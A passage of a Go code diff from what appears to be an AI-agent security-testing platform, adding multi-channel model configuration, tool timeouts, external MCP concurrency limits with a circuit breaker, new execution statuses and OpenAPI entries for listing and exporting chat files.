dst.ExternalMCPMaxConcurrentTotal = *src.ExternalMCPMaxConcurrentTotal
|
||||
}
|
||||
if src.ExternalMCPCircuitFailureThreshold != nil {
|
||||
dst.ExternalMCPCircuitFailureThreshold = *src.ExternalMCPCircuitFailureThreshold
|
||||
}
|
||||
if src.ExternalMCPCircuitCooldownSeconds != nil {
|
||||
dst.ExternalMCPCircuitCooldownSeconds = *src.ExternalMCPCircuitCooldownSeconds
|
||||
}
|
||||
if src.SystemPromptPath != nil {
|
||||
dst.SystemPromptPath = *src.SystemPromptPath
|
||||
}
|
||||
@@ -765,8 +788,20 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
|
||||
defer h.mu.Unlock()
|
||||
|
||||
// 更新OpenAI配置
|
||||
if req.AI != nil {
|
||||
h.config.AI = *req.AI
|
||||
h.config.ApplyDefaultAIChannel()
|
||||
h.logger.Info("更新 AI 通道配置",
|
||||
zap.String("default_channel", h.config.AI.DefaultChannel),
|
||||
zap.Int("channels", len(h.config.AI.Channels)),
|
||||
)
|
||||
}
|
||||
if req.OpenAI != nil {
|
||||
h.config.OpenAI = *req.OpenAI
|
||||
h.config.AI.EnsureDefaultFromOpenAI(h.config.OpenAI)
|
||||
if def := config.NormalizeAIChannelID(h.config.AI.DefaultChannel); def != "" {
|
||||
h.config.AI.Channels[def] = config.AIChannelFromOpenAI(def, "Default", h.config.OpenAI)
|
||||
}
|
||||
h.logger.Info("更新OpenAI配置",
|
||||
zap.String("base_url", h.config.OpenAI.BaseURL),
|
||||
zap.String("model", h.config.OpenAI.Model),
|
||||
@@ -815,12 +850,35 @@ func (h *ConfigHandler) UpdateConfig(c *gin.Context) {
|
||||
h.logger.Info("更新Agent配置",
|
||||
zap.Int("max_iterations", h.config.Agent.MaxIterations),
|
||||
zap.Int("tool_timeout_minutes", h.config.Agent.ToolTimeoutMinutes),
|
||||
zap.Int("tool_wait_timeout_seconds", h.config.Agent.ToolWaitTimeoutSeconds),
|
||||
zap.Int("external_mcp_max_concurrent_per_server", h.config.Agent.ExternalMCPMaxConcurrentPerServer),
|
||||
zap.Int("external_mcp_max_concurrent_total", h.config.Agent.ExternalMCPMaxConcurrentTotal),
|
||||
zap.Int("external_mcp_circuit_failure_threshold", h.config.Agent.ExternalMCPCircuitFailureThreshold),
|
||||
zap.Int("external_mcp_circuit_cooldown_seconds", h.config.Agent.ExternalMCPCircuitCooldownSeconds),
|
||||
)
|
||||
if h.agent != nil && req.Agent.MaxIterations != nil {
|
||||
h.agent.UpdateMaxIterations(h.config.Agent.MaxIterations)
|
||||
}
|
||||
if h.executor != nil {
|
||||
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
}
|
||||
if h.mcpServer != nil {
|
||||
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
|
||||
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
}
|
||||
if h.externalMCPMgr != nil {
|
||||
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
|
||||
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
|
||||
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
|
||||
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
|
||||
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1471,7 +1529,10 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
|
||||
h.mcpServer.ClearTools()
|
||||
|
||||
// 重新注册安全工具
|
||||
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
h.executor.RegisterTools(h.mcpServer)
|
||||
mcp.RegisterExecutionControlTools(h.mcpServer, h.externalMCPMgr)
|
||||
|
||||
// 重新注册漏洞记录工具(内置工具,必须注册)
|
||||
if h.vulnerabilityToolRegistrar != nil {
|
||||
@@ -1542,6 +1603,24 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
|
||||
}
|
||||
if h.mcpServer != nil {
|
||||
h.mcpServer.ConfigureHTTPToolCallTimeoutFromAgentMinutes(h.config.Agent.ToolTimeoutMinutes)
|
||||
h.mcpServer.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||
h.mcpServer.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
h.mcpServer.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
}
|
||||
if h.executor != nil {
|
||||
h.executor.SetToolOutputMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
h.executor.SetToolOutputSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
}
|
||||
if h.externalMCPMgr != nil {
|
||||
h.externalMCPMgr.ConfigureToolWaitTimeoutSeconds(h.config.Agent.ToolWaitTimeoutSeconds)
|
||||
h.externalMCPMgr.ConfigureToolResultMaxBytes(h.config.MultiAgent.EinoMiddleware.ReductionMaxLengthForTruncEffective())
|
||||
h.externalMCPMgr.ConfigureToolResultSpillRoot(h.config.MultiAgent.EinoMiddleware.ReductionRootDir)
|
||||
h.externalMCPMgr.ConfigureResilience(mcp.ExternalMCPResilienceConfig{
|
||||
MaxConcurrentPerServer: h.config.Agent.ExternalMCPMaxConcurrentPerServer,
|
||||
MaxConcurrentTotal: h.config.Agent.ExternalMCPMaxConcurrentTotal,
|
||||
CircuitFailureThreshold: h.config.Agent.ExternalMCPCircuitFailureThreshold,
|
||||
CircuitCooldown: time.Duration(h.config.Agent.ExternalMCPCircuitCooldownSeconds) * time.Second,
|
||||
})
|
||||
}
|
||||
|
||||
// 更新AttackChainHandler的OpenAI配置
|
||||
@@ -1619,7 +1698,8 @@ func (h *ConfigHandler) saveConfig() error {
|
||||
|
||||
updateAgentConfig(root, h.config.Agent)
|
||||
updateMCPConfig(root, h.config.MCP)
|
||||
updateOpenAIConfig(root, h.config.OpenAI)
|
||||
updateAIConfig(root, h.config.AI)
|
||||
removeKeyFromMap(root.Content[0], "openai")
|
||||
updateVisionConfig(root, h.config.Vision)
|
||||
updateFOFAConfig(root, h.config.FOFA)
|
||||
updateSpaceSearchConfig(root, "zoomeye", h.config.ZoomEye)
|
||||
@@ -1731,6 +1811,11 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
|
||||
agentNode := ensureMap(root, "agent")
|
||||
setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
|
||||
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
|
||||
setIntInMap(agentNode, "tool_wait_timeout_seconds", agent.ToolWaitTimeoutSeconds)
|
||||
setIntInMap(agentNode, "external_mcp_max_concurrent_per_server", agent.ExternalMCPMaxConcurrentPerServer)
|
||||
setIntInMap(agentNode, "external_mcp_max_concurrent_total", agent.ExternalMCPMaxConcurrentTotal)
|
||||
setIntInMap(agentNode, "external_mcp_circuit_failure_threshold", agent.ExternalMCPCircuitFailureThreshold)
|
||||
setIntInMap(agentNode, "external_mcp_circuit_cooldown_seconds", agent.ExternalMCPCircuitCooldownSeconds)
|
||||
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
|
||||
}
|
||||
|
||||
@@ -1808,6 +1893,69 @@ func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {
|
||||
}
|
||||
}
|
||||
|
||||
func updateAIConfig(doc *yaml.Node, cfg config.AIConfig) {
|
||||
root := doc.Content[0]
|
||||
aiNode := ensureMap(root, "ai")
|
||||
if strings.TrimSpace(cfg.DefaultChannel) != "" {
|
||||
setStringInMap(aiNode, "default_channel", config.NormalizeAIChannelID(cfg.DefaultChannel))
|
||||
}
|
||||
channelsNode := ensureMap(aiNode, "channels")
|
||||
channelsNode.Content = nil
|
||||
normalized := make(map[string]config.AIChannelConfig, len(cfg.Channels))
|
||||
ids := make([]string, 0, len(cfg.Channels))
|
||||
for id, ch := range cfg.Channels {
|
||||
nid := config.NormalizeAIChannelID(id)
|
||||
if nid == "" {
|
||||
continue
|
||||
}
|
||||
if _, exists := normalized[nid]; !exists {
|
||||
ids = append(ids, nid)
|
||||
}
|
||||
normalized[nid] = ch
|
||||
}
|
||||
sort.Strings(ids)
|
||||
seen := make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
if seen[id] {
|
||||
continue
|
||||
}
|
||||
seen[id] = true
|
||||
ch := normalized[id]
|
||||
keyNode := &yaml.Node{Kind: yaml.ScalarNode, Tag: "!!str", Value: id}
|
||||
channelNode := &yaml.Node{Kind: yaml.MappingNode, Tag: "!!map"}
|
||||
channelsNode.Content = append(channelsNode.Content, keyNode, channelNode)
|
||||
setStringInMap(channelNode, "name", ch.Name)
|
||||
if strings.TrimSpace(ch.Provider) != "" {
|
||||
setStringInMap(channelNode, "provider", ch.Provider)
|
||||
}
|
||||
setStringInMap(channelNode, "api_key", ch.APIKey)
|
||||
setStringInMap(channelNode, "base_url", ch.BaseURL)
|
||||
setStringInMap(channelNode, "model", ch.Model)
|
||||
if ch.MaxTotalTokens > 0 {
|
||||
setIntInMap(channelNode, "max_total_tokens", ch.MaxTotalTokens)
|
||||
}
|
||||
if ch.MaxCompletionTokens > 0 {
|
||||
setIntInMap(channelNode, "max_completion_tokens", ch.MaxCompletionTokens)
|
||||
}
|
||||
rn := ensureMap(channelNode, "reasoning")
|
||||
if strings.TrimSpace(ch.Reasoning.Mode) != "" {
|
||||
setStringInMap(rn, "mode", ch.Reasoning.Mode)
|
||||
}
|
||||
if strings.TrimSpace(ch.Reasoning.Effort) != "" {
|
||||
setStringInMap(rn, "effort", ch.Reasoning.Effort)
|
||||
}
|
||||
if ch.Reasoning.AllowClientReasoning != nil {
|
||||
setBoolInMap(rn, "allow_client_reasoning", *ch.Reasoning.AllowClientReasoning)
|
||||
}
|
||||
if strings.TrimSpace(ch.Reasoning.Profile) != "" {
|
||||
setStringInMap(rn, "profile", ch.Reasoning.Profile)
|
||||
}
|
||||
if len(rn.Content) == 0 {
|
||||
removeKeyFromMap(channelNode, "reasoning")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func updateFOFAConfig(doc *yaml.Node, cfg config.FofaConfig) {
|
||||
root := doc.Content[0]
|
||||
fofaNode := ensureMap(root, "fofa")
|
||||
|
||||
@@ -373,6 +373,7 @@ func summarizeProcessDetailData(eventType string, data interface{}) interface{}
|
||||
"success": true, "isError": true, "executionId": true,
|
||||
"einoAgent": true, "einoRole": true, "einoScope": true, "orchestration": true,
|
||||
"agentFacing": true,
|
||||
"status": true, "modelFacingIsError": true, "resultPreview": true,
|
||||
}
|
||||
out := make(map[string]interface{}, len(allow)+1)
|
||||
for k, v := range m {
|
||||
|
||||
@@ -149,6 +149,14 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
||||
return
|
||||
}
|
||||
runCfg, resolvedAIChannelID, err := h.configForAIChannel(req.AIChannelID)
|
||||
if err != nil {
|
||||
taskStatus = "failed"
|
||||
h.tasks.UpdateTaskStatus(conversationID, taskStatus)
|
||||
sendEvent("error", err.Error(), nil)
|
||||
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
||||
return
|
||||
}
|
||||
|
||||
var result *multiagent.RunResult
|
||||
var runErr error
|
||||
@@ -222,8 +230,8 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
|
||||
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtxLoop,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
runCfg,
|
||||
&runCfg.MultiAgent,
|
||||
h.agent,
|
||||
h.db,
|
||||
h.logger,
|
||||
@@ -236,6 +244,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
||||
chatReasoningToClientIntent(req.Reasoning),
|
||||
h.agentSessionContextBlock(conversationID),
|
||||
)
|
||||
_ = resolvedAIChannelID
|
||||
|
||||
if result != nil && len(result.MCPExecutionIDs) > 0 {
|
||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||
@@ -410,6 +419,11 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "服务器配置未加载"})
|
||||
return
|
||||
}
|
||||
runCfg, _, err := h.configForAIChannel(req.AIChannelID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
curHist := prep.History
|
||||
curMsg := prep.FinalMessage
|
||||
@@ -418,8 +432,8 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
||||
for {
|
||||
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
runCfg,
|
||||
&runCfg.MultiAgent,
|
||||
h.agent,
|
||||
h.db,
|
||||
h.logger,
|
||||
|
||||
@@ -167,7 +167,7 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
|
||||
stats[exec.ToolName] = stat
|
||||
}
|
||||
stat.TotalCalls++
|
||||
if exec.Status == "failed" || exec.Status == "cancelled" {
|
||||
if monitorStatusCountsAsFailed(exec.Status) {
|
||||
stat.FailedCalls++
|
||||
} else if exec.Status == "completed" {
|
||||
stat.SuccessCalls++
|
||||
@@ -180,6 +180,15 @@ func summarizeAccessibleExecutionPage(executions []*mcp.ToolExecution, topN int)
|
||||
return summarizeToolStats(stats, topN)
|
||||
}
|
||||
|
||||
func monitorStatusCountsAsFailed(status string) bool {
|
||||
switch strings.TrimSpace(strings.ToLower(status)) {
|
||||
case "failed", "hard_timeout", "orphaned":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (h *MonitorHandler) monitorRetentionDays() int {
|
||||
if h.monitorRetention != nil {
|
||||
return h.monitorRetention.RetentionDays()
|
||||
@@ -813,7 +822,7 @@ func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimel
|
||||
key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
|
||||
entry := bucketMap[key]
|
||||
entry.total++
|
||||
if exec.Status == "failed" || exec.Status == "cancelled" {
|
||||
if monitorStatusCountsAsFailed(exec.Status) {
|
||||
entry.failed++
|
||||
}
|
||||
bucketMap[key] = entry
|
||||
@@ -876,7 +885,7 @@ func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
|
||||
totalCalls := 1
|
||||
successCalls := 0
|
||||
failedCalls := 0
|
||||
if exec.Status == "failed" || exec.Status == "cancelled" {
|
||||
if monitorStatusCountsAsFailed(exec.Status) {
|
||||
failedCalls = 1
|
||||
} else if exec.Status == "completed" {
|
||||
successCalls = 1
|
||||
@@ -951,7 +960,7 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
|
||||
|
||||
stats := toolStats[exec.ToolName]
|
||||
stats.totalCalls++
|
||||
if exec.Status == "failed" || exec.Status == "cancelled" {
|
||||
if monitorStatusCountsAsFailed(exec.Status) {
|
||||
stats.failedCalls++
|
||||
} else if exec.Status == "completed" {
|
||||
stats.successCalls++
|
||||
|
||||
@@ -158,6 +158,12 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
|
||||
stopKeepalive := runSSEKeepalive(c, &sseWriteMu)
|
||||
defer stopKeepalive()
|
||||
runCfg, _, err := h.configForAIChannel(req.AIChannelID)
|
||||
if err != nil {
|
||||
sendEvent("error", err.Error(), nil)
|
||||
sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
|
||||
return
|
||||
}
|
||||
|
||||
var result *multiagent.RunResult
|
||||
var runErr error
|
||||
@@ -232,8 +238,8 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
||||
|
||||
result, runErr = multiagent.RunDeepAgent(
|
||||
taskCtxLoop,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
runCfg,
|
||||
&runCfg.MultiAgent,
|
||||
h.agent,
|
||||
h.db,
|
||||
h.logger,
|
||||
@@ -421,6 +427,11 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||
taskCtx = multiagent.WithHITLToolInterceptor(taskCtx, func(ctx context.Context, toolName, arguments string) (string, error) {
|
||||
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
||||
})
|
||||
runCfg, _, err := h.configForAIChannel(req.AIChannelID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
curHist := prep.History
|
||||
curMsg := prep.FinalMessage
|
||||
@@ -429,8 +440,8 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
||||
for {
|
||||
result, runErr = multiagent.RunDeepAgent(
|
||||
taskCtx,
|
||||
h.config,
|
||||
&h.config.MultiAgent,
|
||||
runCfg,
|
||||
&runCfg.MultiAgent,
|
||||
h.agent,
|
||||
h.db,
|
||||
h.logger,
|
||||
|
||||
@@ -56,6 +56,7 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
|
||||
var err error
|
||||
meta := audit.ConversationCreateMetaFromGin(c, source)
|
||||
meta.ProjectID = projectID
|
||||
meta.RoleName = req.Role
|
||||
if webshellID != "" {
|
||||
meta.Source = source + "_webshell"
|
||||
meta.WebShellConnectionID = webshellID
|
||||
@@ -80,6 +81,9 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest, c *gin.Context
|
||||
return nil, fmt.Errorf("无权访问该对话")
|
||||
}
|
||||
}
|
||||
if err := h.db.SetConversationRoleName(conversationID, req.Role); err != nil {
|
||||
h.logger.Warn("更新对话角色失败", zap.String("conversationId", conversationID), zap.String("role", req.Role), zap.Error(err))
|
||||
}
|
||||
|
||||
agentHistoryMessages, err := h.loadHistoryFromAgentTrace(conversationID)
|
||||
if err != nil {
|
||||
|
||||
@@ -307,7 +307,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "执行状态",
|
||||
"enum": []string{"success", "failed", "running"},
|
||||
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
|
||||
},
|
||||
"result": map[string]interface{}{
|
||||
"type": "string",
|
||||
@@ -778,7 +778,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "执行状态",
|
||||
"enum": []string{"success", "failed", "running"},
|
||||
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
|
||||
},
|
||||
"createdAt": map[string]interface{}{
|
||||
"type": "string",
|
||||
@@ -839,6 +839,9 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"type": "object",
|
||||
"description": "配置信息(含 openai、vision、multi_agent 等)",
|
||||
"properties": map[string]interface{}{
|
||||
"agent": map[string]interface{}{
|
||||
"$ref": "#/components/schemas/AgentConfig",
|
||||
},
|
||||
"vision": map[string]interface{}{
|
||||
"$ref": "#/components/schemas/VisionConfig",
|
||||
},
|
||||
@@ -848,11 +851,30 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"type": "object",
|
||||
"description": "更新配置请求",
|
||||
"properties": map[string]interface{}{
|
||||
"agent": map[string]interface{}{
|
||||
"$ref": "#/components/schemas/AgentConfig",
|
||||
},
|
||||
"vision": map[string]interface{}{
|
||||
"$ref": "#/components/schemas/VisionConfig",
|
||||
},
|
||||
},
|
||||
},
|
||||
"AgentConfig": map[string]interface{}{
|
||||
"type": "object",
|
||||
"description": "Agent 运行与外部 MCP 防卡死保护配置",
|
||||
"properties": map[string]interface{}{
|
||||
"max_iterations": map[string]interface{}{"type": "integer", "description": "最大迭代次数"},
|
||||
"tool_timeout_minutes": map[string]interface{}{"type": "integer", "description": "单次工具执行硬超时(分钟)"},
|
||||
"tool_wait_timeout_seconds": map[string]interface{}{"type": "integer", "description": "工具单轮等待秒数;到时返回 execution_id,worker 继续后台执行"},
|
||||
"external_mcp_max_concurrent_per_server": map[string]interface{}{"type": "integer", "description": "单个外部 MCP server 并发上限;0=默认2;负数=不限制"},
|
||||
"external_mcp_max_concurrent_total": map[string]interface{}{"type": "integer", "description": "外部 MCP 全局并发上限;0=默认16;负数=不限制"},
|
||||
"external_mcp_circuit_failure_threshold": map[string]interface{}{"type": "integer", "description": "连续失败熔断阈值;0=默认3;负数=关闭熔断"},
|
||||
"external_mcp_circuit_cooldown_seconds": map[string]interface{}{"type": "integer", "description": "熔断冷却秒数;0=默认60"},
|
||||
"shell_no_output_timeout_seconds": map[string]interface{}{"type": "integer", "description": "execute/exec 连续无输出终止秒数"},
|
||||
"workspace_root_dir": map[string]interface{}{"type": "string", "description": "会话工作目录根路径"},
|
||||
"system_prompt_path": map[string]interface{}{"type": "string", "description": "单代理系统提示文件路径"},
|
||||
},
|
||||
},
|
||||
"VisionConfig": map[string]interface{}{
|
||||
"type": "object",
|
||||
"description": "视觉分析(analyze_image MCP 工具);enabled 且 model 非空时注册工具",
|
||||
@@ -3483,7 +3505,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"description": "状态筛选",
|
||||
"schema": map[string]interface{}{
|
||||
"type": "string",
|
||||
"enum": []string{"success", "failed", "running"},
|
||||
"enum": []string{"queued", "running", "completed", "failed", "cancelled", "hard_timeout", "orphaned"},
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -5776,10 +5798,15 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"get": map[string]interface{}{
|
||||
"tags": []string{"对话附件"},
|
||||
"summary": "列出附件",
|
||||
"description": "获取对话附件文件列表,可按对话ID过滤。",
|
||||
"description": "获取对话文件列表,包含手动上传附件、工具输出和会话产物,可按会话、项目、来源、文件名搜索和分页过滤。",
|
||||
"operationId": "listChatUploads",
|
||||
"parameters": []map[string]interface{}{
|
||||
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
|
||||
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
|
||||
{"name": "page", "in": "query", "required": false, "description": "页码,从1开始", "schema": map[string]interface{}{"type": "integer", "default": 1}},
|
||||
{"name": "pageSize", "in": "query", "required": false, "description": "每页数量,传 all 返回全部", "schema": map[string]interface{}{"oneOf": []map[string]interface{}{{"type": "integer"}, {"type": "string", "enum": []string{"all"}}}}},
|
||||
},
|
||||
"responses": map[string]interface{}{
|
||||
"200": map[string]interface{}{
|
||||
@@ -5801,11 +5828,18 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"modifiedUnix": map[string]interface{}{"type": "integer"},
|
||||
"date": map[string]interface{}{"type": "string"},
|
||||
"conversationId": map[string]interface{}{"type": "string"},
|
||||
"projectId": map[string]interface{}{"type": "string"},
|
||||
"subPath": map[string]interface{}{"type": "string"},
|
||||
"source": map[string]interface{}{"type": "string", "description": "upload/reduction/conversation_artifact"},
|
||||
},
|
||||
},
|
||||
},
|
||||
"folders": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
|
||||
"total": map[string]interface{}{"type": "integer"},
|
||||
"page": map[string]interface{}{"type": "integer"},
|
||||
"pageSize": map[string]interface{}{
|
||||
"type": "integer",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
@@ -5880,6 +5914,31 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
},
|
||||
},
|
||||
},
|
||||
"/api/chat-uploads/export": map[string]interface{}{
|
||||
"get": map[string]interface{}{
|
||||
"tags": []string{"对话附件"},
|
||||
"summary": "导出附件",
|
||||
"description": "按当前过滤条件导出对话文件 ZIP,包含 manifest.json。",
|
||||
"operationId": "exportChatUploads",
|
||||
"parameters": []map[string]interface{}{
|
||||
{"name": "conversation", "in": "query", "required": false, "description": "按对话ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||
{"name": "project", "in": "query", "required": false, "description": "按项目ID过滤", "schema": map[string]interface{}{"type": "string"}},
|
||||
{"name": "source", "in": "query", "required": false, "description": "按来源过滤:upload/reduction/conversation_artifact/all", "schema": map[string]interface{}{"type": "string", "enum": []string{"all", "upload", "reduction", "conversation_artifact"}}},
|
||||
{"name": "search", "in": "query", "required": false, "description": "按文件名或子路径搜索", "schema": map[string]interface{}{"type": "string"}},
|
||||
},
|
||||
"responses": map[string]interface{}{
|
||||
"200": map[string]interface{}{
|
||||
"description": "ZIP文件下载",
|
||||
"content": map[string]interface{}{
|
||||
"application/zip": map[string]interface{}{
|
||||
"schema": map[string]interface{}{"type": "string", "format": "binary"},
|
||||
},
|
||||
},
|
||||
},
|
||||
"401": map[string]interface{}{"description": "未授权"},
|
||||
},
|
||||
},
|
||||
},
|
||||
"/api/chat-uploads/download": map[string]interface{}{
|
||||
"get": map[string]interface{}{
|
||||
"tags": []string{"对话附件"},
|
||||
|
||||
@@ -61,7 +61,7 @@ var apiDocI18nSummaryToKey = map[string]string{
|
||||
"获取连接状态": "getWebshellConnectionState", "保存连接状态": "saveWebshellConnectionState",
|
||||
"获取AI对话历史": "getWebshellAIHistory", "列出AI对话": "listWebshellAIConversations",
|
||||
"执行WebShell命令": "webshellExec", "WebShell文件操作": "webshellFileOp",
|
||||
"列出附件": "listChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
|
||||
"列出附件": "listChatUploads", "导出附件": "exportChatUploads", "上传附件": "uploadChatFile", "删除附件": "deleteChatUpload",
|
||||
"下载附件": "downloadChatUpload", "获取附件文本内容": "getChatUploadContent",
|
||||
"写入附件文本内容": "putChatUploadContent", "创建附件目录": "mkdirChatUpload", "重命名附件": "renameChatUpload",
|
||||
"企业微信回调验证": "wecomCallbackVerify", "企业微信消息回调": "wecomCallbackMessage",
|
||||
|
||||
@@ -252,7 +252,7 @@ type AgentTaskManager struct {
|
||||
maxHistorySize int // 最大历史记录数
|
||||
historyRetention time.Duration // 历史记录保留时间
|
||||
eventBus *TaskEventBus // 可选:任务结束时关闭镜像 SSE 订阅
|
||||
// toolCanceler 在用户整轮停止任务时终止当前 MCP 工具(非「中断并继续」)。
|
||||
// toolCanceler 在用户整轮停止任务或会话结束时终止该会话仍在运行的 MCP 工具(非「中断并继续」)。
|
||||
toolCanceler func(conversationID string)
|
||||
}
|
||||
|
||||
@@ -284,7 +284,7 @@ func (m *AgentTaskManager) SetTaskEventBus(b *TaskEventBus) {
|
||||
m.eventBus = b
|
||||
}
|
||||
|
||||
// SetToolCanceler 设置整轮停止任务时终止当前 MCP 工具的回调(由 AgentHandler 注入)。
|
||||
// SetToolCanceler 设置整轮停止任务/会话结束时终止仍在运行 MCP 工具的回调(由 AgentHandler 注入)。
|
||||
func (m *AgentTaskManager) SetToolCanceler(fn func(conversationID string)) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
@@ -444,6 +444,8 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
|
||||
if finalStatus != "" {
|
||||
task.Status = finalStatus
|
||||
}
|
||||
toolCanceler := m.toolCanceler
|
||||
activeEinoExecuteCancel := task.activeEinoExecuteCancel
|
||||
|
||||
// 保存到历史记录
|
||||
completedTask := &CompletedTask{
|
||||
@@ -464,6 +466,12 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
|
||||
delete(m.tasks, conversationID)
|
||||
bus := m.eventBus
|
||||
m.mu.Unlock()
|
||||
if toolCanceler != nil {
|
||||
toolCanceler(conversationID)
|
||||
}
|
||||
if activeEinoExecuteCancel != nil {
|
||||
activeEinoExecuteCancel()
|
